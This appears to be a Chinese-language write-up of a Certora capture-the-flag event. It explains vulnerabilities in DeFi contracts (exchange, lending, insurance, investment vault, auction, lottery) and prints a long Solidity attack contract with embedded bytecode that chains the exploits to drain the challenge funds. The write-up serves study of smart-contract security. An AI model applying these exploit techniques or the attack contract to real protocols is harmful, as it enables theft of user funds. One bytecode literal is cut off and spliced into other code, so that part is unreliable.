Certora CTF 解题报告

  • billh_
  • 发布于 2026-01-08 23:30
  • 阅读 12

本文分析了 Certora CTF 中的多个挑战,揭示了Exchange合约中 toInt256 函数的 off-by-one 漏洞和NISC 合约中 _update 函数的安全漏洞,从而可以在 Vault 中获得巨大的信用额度并交换为 USDC。

这个 Certora CTF 由 6 个非独立的挑战组成。其中一些是相互关联的,我认为这是一个展示 DeFi 的可组合性(以及漏洞如何在整个生态系统中级联)的好方法。目标是从系统中提取尽可能多的资金。


交易所

当我第一次阅读合约时,它们立刻让我想起了臭名昭著的 Balancer v2 漏洞。然而,经过进一步审查,我意识到没有经典的舍入误差漏洞可以让我耗尽大量资金。这次没有精度损失带来的免费午餐。

漏洞搜寻

然后我注意到 ExchangeVault.soltoInt256 的实现有些可疑:

function toInt256(uint256 value) internal pure returns (int256 result) {
    assembly {
        let max := shl(255, 1)  // max = 2^255
        if gt(value, max) { revert(0, 0) }
        result := value
    }
}

这里的问题很微妙但至关重要:gt(value, max) 检查 value > max 是否成立,这意味着当 value == 2^255 时,检查通过,我们得到 result = 2^255。但 2^255 在二进制补码中实际上是 -2^255(int256 的最小值)。这是一个经典的差一错误。它应该是 if iszero(lt(value, max)) 才能正确拒绝 2^255

一个攻击想法在我脑海中形成:利用这个漏洞通过将 2^255 传递给 _takeDebt 函数来破坏信用和债务核算。当调用 _takeDebt(token, 2^255) 时,它会执行 _accountDelta(token, toInt256(2^255)),这将导致 _accountDelta(token, -2^255)。这将给我们一个巨大的信用而不是债务!

然而,找到实际触发它的路径很棘手。大多数路径都涉及费用计算,而 2^255 * fee / 10000 会溢出。我花了至少 2 天时间盯着这个挑战,后来确信除了这个合约之外还有其他东西。

缺失的部分

所以我开始检查其他组件。部署脚本看起来很干净。然后我浏览了 token 合约,NISC.sol 中的 _update 函数引起了我的注意:

function _update(address from, address to, uint256 value) internal override {
    if (from == to) {
        return;  // Skip self-transfers for "gas optimization"
    }
    super._update(from, to, value);
}

这个看起来无害的“gas 优化”实际上是一个关键漏洞。当 from == to 时,转移返回成功,而实际上没有检查余额或移动任何 token!

攻击

有了这些知识,攻击变得非常优雅:

  1. 调用 exchangeVault.sendTo(nisc, address(exchangeVault), 1 << 255)
  2. 由于 from == to(vault 到 vault),NISC 转移成功,无需任何余额检查
  3. 由于 toInt256 中的错误,vault 调用 _takeDebt(nisc, 2^255),实际上记录了 2^255 的信用
  4. 我们现在在系统中有巨额信用。交换我们想要的所有 USDC
  5. 用另一个 sendTo 清除剩余的 delta 以通过 transient 修饰符检查

借贷

借贷协议是一个漏洞宝库。让我们系统地梳理一遍。

观察 #1:闪电贷减少了池子的现金

首先引起我注意的是闪电贷操作直接操纵了 _poolCash

function flashloanWithdraw(uint256 amount) external onlyFlashloanContract nonReentrant returns (uint256) {
    require(amount <= _poolCash, "LendingPool: Not enough cash for flashloan");
    _flashloanActive = true;
    _poolCash -= amount;
    IERC20(asset()).safeTransfer(msg.sender, amount);
    return amount;
}

这很可疑,因为 _poolCash 直接影响了池子的 totalAssets() 计算,进而影响了份额定价。任何让我们在份额铸造期间人为地降低 totalAssets() 的方法都是潜在的利用向量。

观察 #2:缺少 ERC4626 覆盖

我注意到的另一件事是 LendingPool 继承自 ERC4626,但没有覆盖 mint 函数。与此同时,depositwithdrawredeem 都受到 notDuringFlashloan 修饰符的保护:

function deposit(uint256 assets, address receiver) public override nonReentrant notDuringFlashloan returns (uint256 shares) {
    // ...protected
}

// But mint() is inherited directly from ERC4626 without protection!

显然,这是为了防止在闪电贷期间(当 _poolCash 暂时减少时)操纵份额价格而采取的保护措施。但是 mint() 却漏网了。

观察 #3:闪电贷状态不同步

闪电贷机制使用一个布尔值 _flashloanActive 来跟踪闪电贷是否正在进行中:

function flashloanReturn(uint256 amount) external onlyFlashloanContract nonReentrant {
    _poolCash += amount;
    _flashloanActive = false;
}

问题是:_flashloanActive 是一个布尔值,而不是一个计数器。如果我们递归地调用闪电贷:

  1. 外部闪电贷:_flashloanActive = true
  2. 内部闪电贷:_flashloanActive = true(无操作)
  3. 内部闪电贷返回:_flashloanActive = false漏洞!
  4. 现在我们可以在外部闪电贷仍然处于活动状态时绕过 notDuringFlashloan

观察 #4:闪电贷费用减少

闪电贷有一个令人痛苦的 10% 的费用。但是,由于闪电贷可以递归调用,并且合约使用余额检查而不是跟踪个人还款,我们可以利用这一点:

require(token.balanceOf(address(this)) >= initialBalance + fee, "FlashLoaner: Insufficient repayment");

如果我们首先借入 100 个 token,然后在回调中再借入 1000 个 token,当内部闪电贷完成时,我们将偿还全部 1100 个 token。然后,外部闪电贷只需要我们为最初的 100 个 token 添加费用(即 10)。我们总共借了 1100 个 token,但只支付了约 10 个 token 的费用,从而将实际费用从 10% 降低到约 1%。通过增加递归深度,可以进一步优化这一点。

整合

核心思想很简单:在闪电贷期间,当 totalAssets() 返回被低估的值时,调用 mint,然后用我们获得的份额耗尽池子。

由于 totalAssets()_poolCash 加上未偿债务组成,我们可以通过减少债务部分来进一步优化。这意味着在攻击前清算活动中的头寸。为了清算一个头寸,我们使用闪电贷来操纵 _poolCash,这会影响抵押品价值的计算。结合 _flashloanActive 的绕过,我们甚至可以在活动闪电贷期间执行清算。

攻击很复杂,但核心漏洞很明显:未受保护的 mint(),用于闪电贷跟踪的布尔值而不是计数器,以及支持费用减少的基于余额的费用检查。


社区保险

我们可以将这个挑战分为两个部分:耗尽已存入的资金和耗尽奖励 token。

耗尽已存入的资金

社区保险合约可以清算来自借贷协议的坏账头寸。由于我们已经拥有了所有工具,可以通过前一个挑战中的闪电贷来操纵抵押品价值,我们可以故意创建坏账头寸。只需大量借款,然后使用闪电贷来降低抵押品价值。

耗尽奖励 Token:63/64 Gas 规则

这就是有趣的地方。看看 _update 函数:

function _update(address from, address to, uint256 value) internal override {
    // ... transfer logic ...
    super._update(from, to, value);

    // Update rewards wrapped in try/catch
    if (from != address(0)) {
        uint256 freeFrom = balanceOf(from) + value - originalShares;
        try IRewardDistributor(rewardDistributor).updateReward(from, freeFrom, totalFree) {} catch {}
    }

    if (to != address(0)) {
        uint256 freeTo = balanceOf(to) - withdrawRequests[to].shares - value;
        try IRewardDistributor(rewardDistributor).updateReward(to, freeTo, totalFree) {} catch {}
    }
}

为什么要将 updateReward 包装在 try/catch 中?这种看似防御性的模式基于 EVM 的 63/64 gas 规则打开了一个有趣的攻击向量。

当进行外部调用时,EVM 最多只转发剩余 gas 的 63/64。这意味着:

  1. 如果我们仔细控制 gas,我们可以使 updateReward 耗尽 gas
  2. catch 块捕获 OOG 异常
  3. 剩余的 1/64 的 gas 足以完成其余的执行
  4. 结果:转移成功,但 userRewardPerTokenPaid 没有更新!

攻击

我们使用仔细控制的 gas 进行存款,以便 updateReward 调用由于 OOG 而失败,但存款本身成功。我们的份额余额增加,但 userRewardPerTokenPaid 保持在 0。然后我们可以声明协议中所有可用的奖励。

多年前,我在一次私人安全审查中发现了一个类似的在 try/catch 中的 OOG 问题。jinu 还有一个与此模式相关的很棒的 CTF 挑战:https://dreamhack.io/wargame/challenges/1322。所以这一个花了我最少的时间来解决。有时过去的经验真的很有用!


投资

与其他挑战相比,这个挑战非常简单。

漏洞

查看 InvestmentVault.solIdleMarket 在市场排序中有一个特殊的位置:

  • 存款流程:市场按顺序填充,IdleMarket 最后
  • 取款流程:市场按相反的顺序耗尽,IdleMarket 首先
function _supplyFunds(uint256 assets) internal {
    for (uint256 i = 0; i < markets.length; i++) {  // IdleMarket is last
        // ...
    }
}

function _withdrawFunds(uint256 assets) internal {
    for (uint256 i = markets.length-1 ; i >=0 ; i--) {  // IdleMarket is first to drain
        // ...
    }
}

攻击

由于 IdleMarket 在存款顺序中是最后一个,但在取款顺序中是第一个,我们可以简单地存款然后立即取款来耗尽 IdleMarket 的现有余额。任何剩余的资金都可以通过改为利用借贷协议来获得。


拍卖

这个挑战展示了一种经典的类型混淆漏洞。

漏洞

createAuction 中,该函数接受一个 IERC721 nftContract 参数,但没有验证它实际上是否为 ERC721:

function createAuction(
    IERC721 nftContract,
    uint256 tokenId,
    // ...
) external nonReentrant returns (uint256 auctionId) {
    // ...
    nftContract.transferFrom(msg.sender, address(vault), tokenId);
    // ...
}

ERC20 和 ERC721 都有 transferFrom(address, address, uint256),具有相同的函数签名。关键区别在于 ERC721 将第三个参数解释为 tokenId,而 ERC20 将其解释为 amount

我们可以通过将支付 token 地址作为 nftContract 参数来利用这一点。这会将支付 token 转移到 vault,从而膨胀 AuctionToken 的份额价值(因为现在每个份额代表更多的基础 token)。然后我们可以用最少的 AuctionToken 份额进行竞标,最后使用 _settleAuction 将相同数量的支付 token 转移出去。凭空得来的免费资金。

获取彩票 #0

对于彩票 #0,vault 最初是空的(在耗尽借贷协议之后),所以我们可以最大限度地提高份额价值。攻击很简单:存入少量支付 token,创建一个伪造的拍卖,将我们的目标 token 作为“NFT”,用我们现在膨胀的份额竞标彩票,然后结算。

获取彩票 #1 和 #2

对于彩票 #1 和 #2,情况更加复杂。vault 已经包含一些 NISC token,并且我们的 NISC 余额有限,因此通货膨胀的潜力受到限制。我们需要优化。

方法是:

  1. 首先,减少 vault 中的 NISC,同时增加我们自己的 NISC 余额
  2. 通过 depositERC20 存入一些 NISC,然后创建一个拍卖来膨胀 NISC AuctionToken 的份额价值
  3. 存款金额和拍卖金额可以通过求解最佳比率的方程来计算
  4. 调用 withdrawERC20 以使用膨胀的份额提取额外的 NISC
  5. 结算拍卖以收回我们的 NISC

这里有一个重要的注意事项:一旦我们调用 settleAuction,合约就会执行 setApprovalForNFT,由于我们的 nftContract 实际上是 NISC 地址,因此会转换为覆盖现有批准金额的 approve 调用。如果我们重复此过程,withdrawERC20 将会因批准不足而失败。因此,我们需要仔细计划。

有了足够累积的 NISC,我们可以使用类似的模式购买彩票 #1 和 #2:存入少量 NISC,创建一个拍卖来膨胀份额价值,购买一张彩票,结算拍卖,然后对另一张彩票重复此操作。可以通过求解购买两张彩票所需的最小 NISC 来优化确切的金额。


彩票

彩票挑战是函数签名冲突的一个例子。

初始观察

当我第一次看到这个挑战时,感觉有些不对劲。LotteryExtension.sol 的内容很容易放入 Lottery.sol 中。为什么还要使用 delegatecall

// Lottery.sol
fallback() external {
    require(address(extension) != address(0), "Extension not set");
    (bool success, bytes memory returnData) = address(extension).delegatecall(msg.data);
    // ...
}

我尝试将 LotteryExtension.sol 合并到 Lottery.sol 中……但由于函数签名重复,它无法编译!

冲突

由于函数选择器是从函数名称和参数类型计算出来的,因此对这些函数的调用将直接匹配主合约的实现,永远不会触发 fallback() 来访问扩展。

解数学题

每个 solve 函数都需要找到 x,使得:

x² ≡ magic (mod N)

其中 N 是两个素数的乘积(RSA 风格),这使得它成为一个二次剩余问题。解决方案:

  1. N 分解为 p * q
  2. 使用 Tonelli-Shanks 算法解 x² ≡ magic (mod p)
  3. 使用 Tonelli-Shanks 算法解 x² ≡ magic (mod q)
  4. 使用中国剩余定理组合解

由于我们有三张彩票(通过拍卖漏洞购买),我们选择三个没有冲突的高奖励挑战并解决它们。每次成功解决都会产生 magic * 10^6 USDC 的奖金,外加基本奖金。对于一些数论来说还不错!


解决方案

我没有花太多时间优化攻击合约的可读性或效率,所以代码不是很干净。如果你无论如何都有兴趣查看:

我的解决方案

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/math/Math.sol";
import "./interfaces/ILotteryExtension.sol";
import "./interfaces/IAuctionManager.sol";
import "./interfaces/IAuctionToken.sol";
import "./interfaces/IAuctionVault.sol";
import "./interfaces/ICommunityInsurance.sol";
import "./interfaces/IExchange.sol";
import "./interfaces/IExchangeVault.sol";
import "./interfaces/IFlashLoaner.sol";
import "./interfaces/IIdleMarket.sol";
import "./interfaces/IInvestmentVault.sol";
import "./interfaces/IInvestmentVaultFactory.sol";
import "./interfaces/ILendingFactory.sol";
import "./interfaces/ILendingManager.sol";
import "./interfaces/ILendingPool.sol";
import "./interfaces/ILottery.sol";
import "./interfaces/ILotteryCommon.sol";
import "./interfaces/ILotteryStorage.sol";
import "./interfaces/IPool.sol";
import "./interfaces/IPriceOracle.sol";
import "./interfaces/IRewardDistributor.sol";
import "./interfaces/IStrategy.sol";
import "./interfaces/IWeth.sol";
import "./Exchange/PoolHelper.sol";
import "hardhat/console.sol";

interface ILendingPoolBorrower3 {
    function borrow(
        IERC20 debtToken,
        ILendingPool debtTokenPool,
        ILendingPool collateralPool,
        IERC20 collateralToken,
        ILendingManager lendingManager,
        uint256 collateralAmount,
        uint256 debtAmount
    ) external;
}

interface ICommunityInsuranceWithBadDebt3 {
    function liquidateBadDebt(ILendingManager manager, address user, ILendingManager.AssetType assetType) external;
}

contract LendingPoolBorrower3 is ILendingPoolBorrower3 {
    IERC20 public constant usdc = IERC20(0xBf1C7F6f838DeF75F1c47e9b6D3885937F899B7C);

    function borrow(
        IERC20 debtToken,
        ILendingPool debtTokenPool,
        ILendingPool collateralPool,
        IERC20 collateralToken,
        ILendingManager lendingManager,
        uint256 collateralAmount,
        uint256 debtAmount
    ) public {
        collateralToken.approve(address(collateralPool), collateralAmount);
        collateralPool.deposit(collateralAmount, address(this));
        collateralPool.approve(address(lendingManager), collateralPool.balanceOf(address(this)));
        ILendingManager.AssetType collateralType = collateralToken == usdc ? ILendingManager.AssetType.A : ILendingManager.AssetType.B;
        ILendingManager.AssetType debtType = debtToken == usdc ? ILendingManager.AssetType.A : ILendingManager.AssetType.B;
        lendingManager.lockCollateral(collateralType, collateralPool.balanceOf(address(this)));

        uint256 remaining = debtAmount - 5;
        debtToken.approve(address(debtTokenPool), type(uint256).max);
        debtTokenPool.updateIndex();
        while (remaining > 0) {
            uint256 cashLeft = debtTokenPool.getCash();
            uint256 borrowAmount = remaining > cashLeft ? cashLeft : remaining;
            lendingManager.borrow(debtType, borrowAmount);
            remaining -= borrowAmount;
            if (remaining != 0) {
                uint256 depositAmount = remaining < borrowAmount ? remaining : borrowAmount;
                debtTokenPool.deposit(depositAmount, address(this));
            }
        }
        debtToken.transfer(msg.sender, debtToken.balanceOf(address(this)));
    }
}

contract AttackContract3 is IFlashLoanReceiver {
    IERC20 public constant usdc = IERC20(0xBf1C7F6f838DeF75F1c47e9b6D3885937F899B7C);
    IERC20 public constant nisc = IERC20(0x20e4c056400C6c5292aBe187F832E63B257e6f23);
    IWeth public constant weth = IWeth(0x13d78a4653e4E18886FBE116FbB9065f1B55Cd1d);
    ILottery public constant lottery = ILottery(0x6D03B9e06ED6B7bCF5bf1CF59E63B6eCA45c103d);
    ILotteryExtension public constant lotteryExtension = ILotteryExtension(0x6D03B9e06ED6B7bCF5bf1CF59E63B6eCA45c103d);
    IAuctionVault public constant auctionVault = IAuctionVault(0x9f4a3Ba629EF680c211871c712053A65aEe463B0);
    IAuctionManager public constant auctionManager = IAuctionManager(0x228F0e62b49d2b395Ee004E3ff06841B21AA0B54);
    IStrategy public constant lendingPoolStrategy = IStrategy(0xC5cBC10e8C7424e38D45341bD31342838334dA55);
    IExchangeVault public constant exchangeVault = IExchangeVault(0x776B51e76150de6D50B06fD0Bd045de0a13D68C7);

    // Replaced storage arrays with individual constants
    IPool public constant productPool0 = IPool(0x536BF770397157efF236647d7299696B90Bc95f1);
    IPool public constant productPool1 = IPool(0x6cAC85Dc0D547225351097Fb9eEb33D65978bb73);
    IPriceOracle public constant priceOracle = IPriceOracle(0x9231ffAC09999D682dD2d837a5ac9458045Ba1b8);
    ILendingFactory public constant lendingFactory = ILendingFactory(0xdC5b6f8971AD22dC9d68ed7fB18fE2DB4eC66791);

    ILendingManager public constant lendingManager0 = ILendingManager(0x66bf9ECb0B63dC4815Ab1D2844bE0E06aB506D4f);
    ILendingManager public constant lendingManager1 = ILendingManager(0x5FdA5021562A2Bdfa68688d1DFAEEb2203d8d045);

    ILendingPool public constant lendingPoolA0 = ILendingPool(0xfAC23E673e77f76c8B90c018c33e061aE8F8CBD9);
    ILendingPool public constant lendingPoolA1 = ILendingPool(0xFa6c040D3e2D5fEB86Eda9e22736BbC6eA81a16b);

    ILendingPool public constant lendingPoolB0 = ILendingPool(0xb022AE7701DF829F2FF14B51a6DFC8c9A95c6C61);
    ILendingPool public constant lendingPoolB1 = ILendingPool(0x537B309Fec55AD15Ef2dFae1f6eF3AEBD80d0d9c);

    IFlashLoaner public constant flashLoaner = IFlashLoaner(0x5861a917A5f78857868D88Bd93A18A3Df8E9baC7);
    IInvestmentVaultFactory public constant investmentFactory = IInvestmentVaultFactory(0xd526270308228fDc16079Bd28eB1aBcaDd278fbD);
    IIdleMarket public constant usdcIdleMarket = IIdleMarket(0xB926534D703B249B586A818B23710938D40a1746);

    IInvestmentVault public constant investmentVault0 = IInvestmentVault(0x99828D8000e5D8186624263f1b4267aFD4E27669);
    IInvestmentVault public constant investmentVault1 = IInvestmentVault(0xe7A23A3Bf899f67e0B40809C8f449A7882f1a26E);

    ICommunityInsurance public constant communityInsurance = ICommunityInsurance(0x83f3997529982fB89C4c983D82d8d0eEAb2Bb034);
    IRewardDistributor public constant rewardDistributor = IRewardDistributor(0x73a8004bCD026481e27b5B7D0d48edE428891995);
    PoolHelper public constant poolHelper = PoolHelper(0x910B4Fb4E32b234DAADC4Cb7a43C3D56A46Ca220);

    struct FlashloanData {
        uint256 step;
        address asset;
        uint256 repayAmount;
        uint256 borrowAmount;
        uint256 depth;
    }

    uint256 internal inFlashloan = 0;
    uint256 internal lockedCollateral = 0;
    address internal wethBorrower;
    address internal niscBorrower;
    address internal usdcBorrower;

    constructor() payable {}

    function Attack() public {
        bytes memory cd = abi.encodeCall(AttackContract3.swapCallback, ());
        exchangeVault.unlock(cd);

        exploitExchange();
        exploitLottery();

        usdc.transfer(msg.sender, usdc.balanceOf(address(this)));
        nisc.transfer(msg.sender, nisc.balanceOf(address(this)));
        weth.transfer(msg.sender, weth.balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function exploitLottery() internal {
        uint256 usdcBalanceBefore = usdc.balanceOf(address(this));
        address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod89443, (0, 50026629318756762526651012396395378096102264596730646887809992031890314654744)));
        uint256 usdcBalanceAfter = usdc.balanceOf(address(this));
        usdcBalanceBefore = usdcBalanceAfter;
        address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod90174, (1, 40289530849315046632803046237695507888814621779004955301521665942329666711931)));
        usdcBalanceAfter = usdc.balanceOf(address(this));
        usdcBalanceBefore = usdcBalanceAfter;
        address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod93740, (2, 70795557551797021934431357608483109706359776929814102558092893513146276451091)));
        usdcBalanceAfter = usdc.balanceOf(address(this));
    }

    function exploitExchange() internal {
        bytes memory cd = abi.encodeCall(AttackContract3.swapCallback2, ());
        exchangeVault.unlock(cd);
        weth.approve(address(poolHelper), type(uint256).max);
        poolHelper.swap(productPool0, weth, usdc, 5e18, 0, address(this));
    }

    function swapCallback2() external {
        uint256 amount = 1 << 255;
        exchangeVault.sendTo(nisc, address(exchangeVault), amount);
        exchangeVault.swapInPool(productPool1, nisc, usdc, 1e45, 0);
        int256 usdcDelta = exchangeVault.tokenDelta(usdc);
        exchangeVault.sendTo(usdc, address(this), uint256(-usdcDelta));
        exchangeVault.sendTo(nisc, address(this), nisc.balanceOf(address(exchangeVault)));

        int256 niscDelta = exchangeVault.tokenDelta(nisc);
        exchangeVault.sendTo(nisc, address(exchangeVault), uint256(-niscDelta));
    }

    function exploit() public {
        usdc.approve(address(investmentVault0), type(uint256).max);
        usdc.approve(address(investmentVault1), type(uint256).max);
        investmentVault0.deposit(50000e6, address(this));
        investmentVault1.deposit(50000e6, address(this));
        investmentVault0.redeem(investmentVault0.balanceOf(address(this)), address(this), address(this));
        investmentVault1.redeem(investmentVault1.balanceOf(address(this)), address(this), address(this));

        bytes memory deployCode =
            hex"6080604052341561023a57610015565b60405190565b600080fd5b60018060a01b031690565b90565b61003c6100376100419261001a565b610025565b61001a565b90565b61004d90610028565b90565b61005990610044565b90565b90565b90565b61007661007161007b9261005c565b610025565b61005f565b90565b601f801991011690565b634e487b7160e01b600052604160045260246000fd5b906100a89061007e565b810190811060018060401b038211176100c057604052565b610088565b906100d86100d161000f565b928361009e565b565b60018060401b0381116100f05760208091020190565b610088565b90610107610102836100da565b6100c5565b918252565b369037565b9061013661011e836100f5565b9260208061012c86936100da565b920191039061010c565b565b61014190610028565b90565b61014d90610138565b90565b600080fd5b60e01b90565b600080fd5b600091031261016b57565b61015b565b5190565b60209181520190565b60200190565b61018c9061005f565b9052565b9061019d81602093610183565b0190565b60200190565b906101c46101be6101b784610170565b8093610174565b9261017d565b9060005b8181106101d55750505090565b9091926101ee6101e86001928651610190565b946101a1565b91019190916101c8565b61```
uint256 cash = lendingPoolA0.getCash();
        uint256 flashloanFee;
        uint256 depth = 6;
        uint256 curCash = cash;
        uint256 curStep = 0;
        for (uint256 i = 0; i < depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        FlashloanData memory flashloanData = FlashloanData({
            step: curStep++,
            asset: address(usdc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData));

        lendingPoolA0.redeem(lendingPoolA0.balanceOf(address(this)), address(this), address(this));

        address lendingUserB = 0x11c8738979A536F9F9AEE32d1724D62ac1adb7De;
        weth.approve(address(lendingManager0), type(uint256).max);
        lendingManager0.liquidate(ILendingManager.AssetType.B, lendingUserB);
        ICommunityInsuranceWithBadDebt3(address(communityInsurance)).liquidateBadDebt(lendingManager0, wethBorrower, ILendingManager.AssetType.B);

        cash = lendingPoolB0.getCash();
        curCash = cash;
        for (uint256 i = 0; i < depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(weth),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(weth, curCash, address(this), abi.encode(flashloanData));
        lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));

        lendingPoolB0.deposit(1e18, address(this));
        lendingPoolB0.approve(address(lendingManager0), type(uint256).max);
        lockedCollateral = lendingPoolB0.balanceOf(address(this));
        lendingManager0.lockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lendingManager0.borrow(ILendingManager.AssetType.A, lendingPoolA0.getCash());

        cash = lendingPoolA1.getCash();
        curCash = cash;
        for (uint256 i = 0; i < depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(usdc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData));

        lendingManager0.repay(ILendingManager.AssetType.A, lendingManager0.getDebt(ILendingManager.AssetType.A, address(this)));
        lendingManager0.unlockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lockedCollateral = 0;
        lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));

        lendingPoolA0.deposit(1000000e6, address(this));
        lendingPoolA0.approve(address(lendingManager0), type(uint256).max);
        lockedCollateral = lendingPoolA0.balanceOf(address(this));
        lendingManager0.lockCollateral(ILendingManager.AssetType.A, lockedCollateral);
        lendingManager0.borrow(ILendingManager.AssetType.B, lendingPoolB0.getCash());

        uint256[] memory insuranceAssets = communityInsurance.totalAssets();
        ILendingPoolBorrower3 borrower = deployLendingPoolBorrower();
        uint256 collateralAmount = 250000e18;
        uint256 debtAmount = insuranceAssets[0];
        nisc.transfer(address(borrower), collateralAmount);
        borrower.borrow(usdc, lendingPoolA1, lendingPoolB1, nisc, lendingManager1, collateralAmount, debtAmount);
        usdcBorrower = address(borrower);

        cash = lendingPoolB1.getCash();
        curCash = cash;
        for (uint256 i = 0; i < depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(nisc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(nisc, curCash, address(this), abi.encode(flashloanData));

        weth.approve(address(lendingManager0), type(uint256).max);
        lendingManager0.repay(ILendingManager.AssetType.B, lendingManager0.getDebt(ILendingManager.AssetType.B, address(this)));
        lendingManager0.unlockCollateral(ILendingManager.AssetType.A, lockedCollateral);
        lockedCollateral = 0;
        lendingPoolA0.redeem(lendingPoolA0.balanceOf(address(this)), address(this), address(this));

        lendingPoolB0.deposit(weth.balanceOf(address(this)), address(this));
        lendingPoolB0.approve(address(lendingManager0), type(uint256).max);
        lockedCollateral = lendingPoolB0.balanceOf(address(this));
        lendingManager0.lockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lendingManager0.borrow(ILendingManager.AssetType.A, lendingPoolA0.getCash());

        cash = lendingPoolA1.getCash();
        curCash = cash;
        for (uint256 i = 0; i < depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(usdc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData));
        lendingPoolA1.redeem(lendingPoolA1.balanceOf(address(this)), address(this), address(this));
        lendingManager0.repay(ILendingManager.AssetType.A, lendingManager0.getDebt(ILendingManager.AssetType.A, address(this)));
        lendingManager0.unlockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lockedCollateral = 0;
        lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));

        cash = lendingPoolB1.getCash();
        curCash = cash;
        for (uint256 i = 0; i < depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(nisc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(nisc, curCash, address(this), abi.encode(flashloanData));
        lendingPoolB1.redeem(lendingPoolB1.balanceOf(address(this)), address(this), address(this));

        exploitAuction();
    }

    receive() external payable {}

    function exploitAuction() internal {
        weth.approve(address(auctionManager), type(uint256).max);
        usdc.approve(address(auctionManager), type(uint256).max);
        auctionManager.depositERC20(usdc, 0.1e6);
        auctionManager.depositERC20(weth, 100);
        uint256 usdcInAuction = usdc.balanceOf(address(this));
        uint256 auctionId = auctionManager.createAuction(IERC721(address(usdc)), usdcInAuction, 0, 0, weth, 1);

        auctionManager.bid(0, 200000e6);
        uint256 withdrawableUsdc = usdc.balanceOf(address(auctionVault)) - usdcInAuction;
        auctionManager.withdrawERC20(usdc, withdrawableUsdc);
        auctionManager.bid(auctionId, 1);

        nisc.approve(address(auctionManager), type(uint256).max);
        auctionManager.depositERC20(nisc, 177000e18);
        // auctionManager.depositERC20(nisc, 177100e18);
        uint256 niscInAuction = nisc.balanceOf(address(this));
        auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
        uint256 niscAuctionBalance = auctionManager.auctionTokens(nisc).balanceOf(address(this));
        auctionManager.withdrawERC20(nisc, niscAuctionBalance);
        auctionManager.bid(auctionId, 1);

        // auctionManager.depositERC20(nisc, 61900e18);
        auctionManager.depositERC20(nisc, 62000e18);
        niscInAuction = nisc.balanceOf(address(this));
        auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
        auctionManager.buy(2);
        auctionManager.bid(auctionId, 1);

        // auctionManager.depositERC20(nisc, 57000e18);
        auctionManager.depositERC20(nisc, 57100e18);
        niscInAuction = nisc.balanceOf(address(this));
        auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
        auctionManager.buy(1);
        auctionManager.bid(auctionId, 1);
    }

    function deployLendingPoolBorrower() internal returns (ILendingPoolBorrower3) {
        bytes memory bytecode = hex"608060405234601c57600e6020565b610d1061002c8239610d1090f35b6026565b60405190565b600080fdfe60806040526004361015610013575b6102b4565b61001e60003561003d565b80633e413bee1461003857636d9dd82e0361000e5761027a565b61010b565b60e01c90565b60405190565b600080fd5b600080fd5b600091031261005e57565b61004e565b60018060a01b031690565b90565b61008561008061008a92610063565b61006e565b610063565b90565b61009690610071565b90565b6100a29061008d565b90565b6100c273bf1c7f6f838def75f1c47e9b6d3885937f899b7c610099565b90565b6100cd6100a5565b90565b6100d990610071565b90565b6100e5906100d0565b90565b6100f1906100dc565b9052565b9190610109906000602085019401906100e8565b565b3461013b5761011b366004610053565b6101376101266100c5565b61012e610043565b918291826100f5565b0390f35b610049565b61014990610063565b90565b61015590610140565b90565b6101618161014c565b0361016857565b600080fd5b9050359061017a82610158565b565b61018590610140565b90565b6101918161017c565b0361019857565b600080fd5b905035906101aa82610188565b565b6101b590610140565b90565b6101c1816101ac565b036101c857565b600080fd5b905035906101da826101b8565b565b90565b6101e8816101dc565b036101ef57565b600080fd5b90503590610201826101df565b565b60e08183031261026f5761021a826000830161016d565b92610228836020840161019d565b92610236816040850161019d565b92610244826060830161016d565b9261026c61025584608085016101cd565b936102638160a086016101f4565b9360c0016101f4565b90565b61004e565b60000190565b346102af5761029961028d366004610203565b95949094939193610527565b6102a610043565b806102ab81610274565b0390f35b610049565b600080fd5b6102c2906100d0565b90565b600080fd5b601f801991011690565b634e487b7160e01b600052604160045260246000fd5b906102f4906102ca565b810190811067ffffffffffffffff82111761030e57604052565b6102d4565b60e01b90565b151590565b61032781610319565b0361032e57565b600080fd5b905051906103408261031e565b565b9060208282031261035c5761035991600001610333565b